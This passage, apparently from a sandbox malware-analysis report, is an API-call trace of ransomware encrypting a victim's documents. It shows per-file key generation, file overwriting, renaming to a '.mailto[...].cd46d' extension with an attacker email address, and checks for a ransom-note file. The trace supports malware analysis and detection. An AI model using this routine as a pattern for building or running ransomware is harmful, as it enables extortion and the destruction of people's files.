RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zM7uBdyE.pdf.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x15fffe2c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zM7uBdyE.pdf.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.635] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e01170 [0053.775] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e01170) returned 1 [0053.775] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a31d0) returned 1 [0053.775] NtQueryInformationFile (in: FileHandle=0xeb8, IoStatusBlock=0x15fffe38, FileInformation=0x15fffe10, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x15fffe38, FileInformation=0x15fffe10) returned 0x0 [0053.775] NtSetInformationFile (FileHandle=0xeb8, IoStatusBlock=0x15fffe38, FileInformation=0x15fffe10, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.777] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02ae0) returned 1 [0053.777] FlushFileBuffers (hFile=0xeb8) returned 1 [0053.778] CloseHandle (hObject=0xeb8) returned 1 [0053.779] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400618 [0053.779] wcscpy (in: _Dest=0x400618, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0053.779] wcscat (in: _Dest=0x400618, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0053.779] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0053.779] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400618) returned 1 [0053.779] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5e68) returned 1 Thread: id = 865 os_tid = 0x1160 [0051.761] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zqjwOeZwbN1Zpb4PYGDN.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zqjwoezwbn1zpb4pygdn.odt")) returned 0x20 [0051.761] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zqjwOeZwbN1Zpb4PYGDN.odt", dwFileAttributes=0x20) returned 1 [0053.205] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zqjwOeZwbN1Zpb4PYGDN.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zqjwoezwbn1zpb4pygdn.odt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xebc [0053.205] GetFileSizeEx (in: hFile=0xebc, lpFileSize=0x159af8b8 | out: lpFileSize=0x159af8b8*=95866) returned 1 [0053.205] SetFilePointerEx (in: hFile=0xebc, liDistanceToMove=0x17676, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.205] ReadFile (in: hFile=0xebc, lpBuffer=0x159af83c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x159af838, lpOverlapped=0x0 | out: lpBuffer=0x159af83c*, lpNumberOfBytesRead=0x159af838*=0x4, lpOverlapped=0x0) returned 1 [0053.206] SetFilePointerEx (in: hFile=0xebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.206] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429638 [0053.206] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4296b0 [0053.206] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4296d8 [0053.206] NtQuerySystemTime (in: CurrentTime=0x159af818 | out: CurrentTime=0x159af818*=132174898171884000) returned 0x0 [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x7fa6629c [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0xcdcf219 [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x62c58aec [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x53d75171 [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x6955362c [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x4c7d31e2 [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x27b30fb6 [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0xea98664 [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x1f2303fa [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x481d28f0 [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x68d0cb0f [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x68e8b0f9 [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0xff1104a [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x72915ac4 [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x3bb521bf [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x3d28e3f9 [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0xb6a533b [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x2b6db7ac [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x48cd5541 [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x14da18ee [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x4f6ab81d [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x604a0af8 [0053.206] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x338a1bd2 [0053.207] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x68d9082d [0053.207] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x29c7250b [0053.207] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x4f89b82b [0053.207] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x17874ba0 [0053.207] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x119b2a42 [0053.207] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x4d43a04d [0053.207] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x7777c665 [0053.207] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0x7e4a9a0d [0053.207] RtlRandomEx (in: Seed=0x159af824 | out: Seed=0x159af824) returned 0xf41f5ed [0053.844] SetFilePointerEx (in: hFile=0xebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.844] ReadFile (in: hFile=0xebc, lpBuffer=0x97b7008, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x159af7f8, lpOverlapped=0x0 | out: lpBuffer=0x97b7008*, lpNumberOfBytesRead=0x159af7f8*=0xc800, lpOverlapped=0x0) returned 1 [0053.845] SetFilePointerEx (in: hFile=0xebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.845] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c318 [0053.845] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5df0 [0053.845] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429638 [0053.845] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429638) returned 1 [0053.846] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x96fa100 [0053.846] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429638 [0053.846] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4296d8 [0053.846] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4296d8) returned 1 [0053.846] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5df0) returned 1 [0053.846] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c318) returned 1 [0053.846] WriteFile (in: hFile=0xebc, lpBuffer=0x96fa100*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x159af7f8, lpOverlapped=0x0 | out: lpBuffer=0x96fa100*, lpNumberOfBytesWritten=0x159af7f8*=0xc800, lpOverlapped=0x0) returned 1 [0055.867] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96fa100) returned 1 [0055.868] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97b7008) returned 1 [0055.868] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3d) returned 0x402960 [0055.868] SetFilePointerEx (in: hFile=0xebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.868] WriteFile (in: hFile=0xebc, lpBuffer=0x44d2d0*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0x159af878, lpOverlapped=0x0 | out: lpBuffer=0x44d2d0*, lpNumberOfBytesWritten=0x159af878*=0x121, lpOverlapped=0x0) returned 1 [0057.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d2d0) returned 1 [0057.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c78) returned 1 [0057.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0448) returned 1 [0057.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402960) returned 1 [0057.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429638) returned 1 [0057.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4296b0) returned 1 [0057.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4294d0) returned 1 [0057.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4295e8) returned 1 [0057.607] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40d970 [0057.607] wcscpy (in: _Dest=0x40d970, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zqjwOeZwbN1Zpb4PYGDN.odt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zqjwOeZwbN1Zpb4PYGDN.odt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zqjwOeZwbN1Zpb4PYGDN.odt" [0057.607] wcscat (in: _Dest=0x40d970, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zqjwOeZwbN1Zpb4PYGDN.odt.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zqjwOeZwbN1Zpb4PYGDN.odt.mailto[2Hamlampampom@cock.li].cd46d" [0057.607] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zqjwOeZwbN1Zpb4PYGDN.odt.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x159af830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zqjwOeZwbN1Zpb4PYGDN.odt.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0057.607] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe0) returned 0x423da8 [0057.608] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0057.608] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49ba70) returned 1 [0057.609] NtQueryInformationFile (in: FileHandle=0xebc, IoStatusBlock=0x159af83c, FileInformation=0x159af814, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x159af83c, FileInformation=0x159af814) returned 0x0 [0057.609] NtSetInformationFile (FileHandle=0xebc, IoStatusBlock=0x159af83c, FileInformation=0x159af814, Length=0x28, FileInformationClass=0x4) returned 0x0 [0057.610] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d970) returned 1 [0057.610] FlushFileBuffers (hFile=0xebc) returned 1 [0059.088] CloseHandle (hObject=0xebc) returned 1 [0061.874] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400b98 [0061.874] wcscpy (in: _Dest=0x400b98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0061.874] wcscat (in: _Dest=0x400b98, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0061.875] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0061.875] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400b98) returned 1 [0061.875] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417500) returned 1 Thread: id = 866 os_tid = 0x1164 [0051.761] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_5GFsgxE6scq.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_5gfsgxe6scq.csv")) returned 0x20 [0051.761] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_5GFsgxE6scq.csv", dwFileAttributes=0x20) returned 1 [0053.848] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_5GFsgxE6scq.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_5gfsgxe6scq.csv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xec0 [0053.849] GetFileSizeEx (in: hFile=0xec0, lpFileSize=0x15f1faa8 | out: lpFileSize=0x15f1faa8*=12719) returned 1 [0053.849] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x31ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.849] ReadFile (in: hFile=0xec0, lpBuffer=0x15f1fa2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x15f1fa28, lpOverlapped=0x0 | out: lpBuffer=0x15f1fa2c*, lpNumberOfBytesRead=0x15f1fa28*=0x4, lpOverlapped=0x0) returned 1 [0053.849] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.849] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4296d8 [0053.849] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429598 [0053.850] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4294a8 [0053.850] NtQuerySystemTime (in: CurrentTime=0x15f1fa08 | out: CurrentTime=0x15f1fa08*=132174898178280000) returned 0x0 [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x47e2b058 [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x132cca9e [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x5db5e6cf [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x6be48b39 [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x1944ff0a [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x4340db41 [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x55d25e01 [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x5c656e62 [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x58cf4d11 [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x745aa99c [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x5ce73f53 [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x12d7aef0 [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x5156f630 [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x26c3e78b [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x117bfa50 [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x77dd13b7 [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x28410401 [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x6959926d [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0xddd269e [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x68587ded [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x67348a6 [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x74d9b37d [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x720f9989 [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0xe94d2af [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x299063b1 [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x12749cd5 [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x695bafe8 [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x46ceb2ef [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x542d97bc [0053.850] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x55086473 [0053.851] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x247f69f1 [0053.851] RtlRandomEx (in: Seed=0x15f1fa14 | out: Seed=0x15f1fa14) returned 0x20e8d168 [0053.863] ReadFile (in: hFile=0xec0, lpBuffer=0x12dd19e0, nNumberOfBytesToRead=0x31af, lpNumberOfBytesRead=0x15f1fa04, lpOverlapped=0x0 | out: lpBuffer=0x12dd19e0*, lpNumberOfBytesRead=0x15f1fa04*=0x31af, lpOverlapped=0x0) returned 1 [0053.864] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.864] WriteFile (in: hFile=0xec0, lpBuffer=0x12dde1e8*, nNumberOfBytesToWrite=0x31af, lpNumberOfBytesWritten=0x15f1fa00, lpOverlapped=0x0 | out: lpBuffer=0x12dde1e8*, lpNumberOfBytesWritten=0x15f1fa00*=0x31af, lpOverlapped=0x0) returned 1 [0055.868] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0420 [0055.868] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0588 [0055.868] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0588) returned 1 [0055.869] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12dde1e8) returned 1 [0055.869] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12dd19e0) returned 1 [0055.869] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5df0) returned 1 [0055.869] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c318) returned 1 [0055.869] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2d) returned 0x40a988 [0055.869] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.869] WriteFile (in: hFile=0xec0, lpBuffer=0x5efe158*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x15f1fa68, lpOverlapped=0x0 | out: lpBuffer=0x5efe158*, lpNumberOfBytesWritten=0x15f1fa68*=0x111, lpOverlapped=0x0) returned 1 [0057.612] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe158) returned 1 [0057.612] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a9f8) returned 1 [0057.612] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0588) returned 1 [0057.612] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a988) returned 1 [0057.612] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0420) returned 1 [0057.612] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429598) returned 1 [0057.612] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429458) returned 1 [0057.612] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4293e0) returned 1 [0057.612] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12f4d398 [0057.612] wcscpy (in: _Dest=0x12f4d398, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_5GFsgxE6scq.csv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_5GFsgxE6scq.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_5GFsgxE6scq.csv" [0057.612] wcscat (in: _Dest=0x12f4d398, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_5GFsgxE6scq.csv.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_5GFsgxE6scq.csv.mailto[2Hamlampampom@cock.li].cd46d" [0057.612] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_5GFsgxE6scq.csv.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x15f1fa20, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_5GFsgxE6scq.csv.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0057.612] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd0) returned 0x40d970 [0057.613] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d970) returned 1 [0057.613] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49ba70) returned 1 [0057.613] NtQueryInformationFile (in: FileHandle=0xec0, IoStatusBlock=0x15f1fa2c, FileInformation=0x15f1fa04, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x15f1fa2c, FileInformation=0x15f1fa04) returned 0x0 [0057.613] NtSetInformationFile (FileHandle=0xec0, IoStatusBlock=0x15f1fa2c, FileInformation=0x15f1fa04, Length=0x28, FileInformationClass=0x4) returned 0x0 [0057.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d398) returned 1 [0057.615] FlushFileBuffers (hFile=0xec0) returned 1 [0062.218] CloseHandle (hObject=0xec0) returned 1 [0062.723] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e09418 [0062.723] wcscpy (in: _Dest=0x12e09418, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0062.723] wcscat (in: _Dest=0x12e09418, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0062.723] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0062.723] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e09418) returned 1 [0062.723] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08598) returned 1 Thread: id = 867 os_tid = 0x1168 [0051.762] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\Hx.hxn" (normalized: "c:\\users\\all users\\microsoft help\\hx.hxn")) returned 0x20 [0065.059] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\Hx.hxn", dwFileAttributes=0x20) returned 1 [0065.059] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\Hx.hxn" (normalized: "c:\\users\\all users\\microsoft help\\hx.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe94 [0065.059] GetFileSizeEx (in: hFile=0xe94, lpFileSize=0x160dfa58 | out: lpFileSize=0x160dfa58*=390) returned 1 [0065.059] SetFilePointerEx (in: hFile=0xe94, liDistanceToMove=0x182, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.059] ReadFile (in: hFile=0xe94, lpBuffer=0x160df9dc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x160df9d8, lpOverlapped=0x0 | out: lpBuffer=0x160df9dc*, lpNumberOfBytesRead=0x160df9d8*=0x4, lpOverlapped=0x0) returned 1 [0065.060] SetFilePointerEx (in: hFile=0xe94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.060] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0065.060] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435e68 [0065.060] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435d28 [0065.060] NtQuerySystemTime (in: CurrentTime=0x160df9b8 | out: 